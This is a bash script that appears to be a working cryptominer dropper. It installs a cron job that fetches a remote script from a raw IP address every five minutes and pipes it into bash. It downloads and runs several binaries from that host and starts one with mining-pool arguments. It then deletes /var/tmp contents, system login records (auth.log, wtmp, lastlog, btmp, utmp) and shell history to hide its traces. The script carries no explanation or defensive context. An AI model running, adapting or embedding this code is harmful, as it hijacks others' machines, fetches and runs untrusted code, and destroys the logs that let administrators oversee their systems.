#!/bin/bash

(
    while true; do

        CRONLINE="*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://104.194.154.213/check1.sh)' &"


        crontab -l 2>/dev/null | grep -Fq "$CRONLINE"
        if [ $? -ne 0 ]; then
            echo "[⚠️] the line not exit in crontab reload"
            (crontab -l 2>/dev/null; echo "$CRONLINE") | crontab -
        fi
    if ! pgrep -f "Error84" > /dev/null; then

        unalias -a
        cd /var/tmp
        rm -rf * ; pkill -x  a ; pkill -x  b ; pkill -x  c
        sleep 5
        curl -LO http://104.194.154.213/Error84
        wget http://104.194.154.213/Error84
        speep 4
        curl -LO http://104.194.154.213/a
        wget http://104.194.154.213/a
        chmod +x a ; ./a > /dev/null 2>&1 & disown
        sleep 5 
        curl -LO http://104.194.154.213/c
        wget http://104.194.154.213/c
        chmod +x c ; ./c > /dev/null 2>&1 & disown
        chmod +x Error84 *
        ./Error84 -o andrewtatemunityxcrypto.com:5555 -u error -p error > /dev/null 2>&1 & disown
        rm -rf unix ; sleep 5 ; history -c ; cd /var/log ; rm -rf auth.log ; rm -rf wtmp ; rm -rf lastlog ; rm -rf btmp ; cd /var/run ; rm -rf utmp  ; history -c ; cd ; rm -rf .bash_history ; clear
    fi

    sleep 5
    done
) &


exit 0
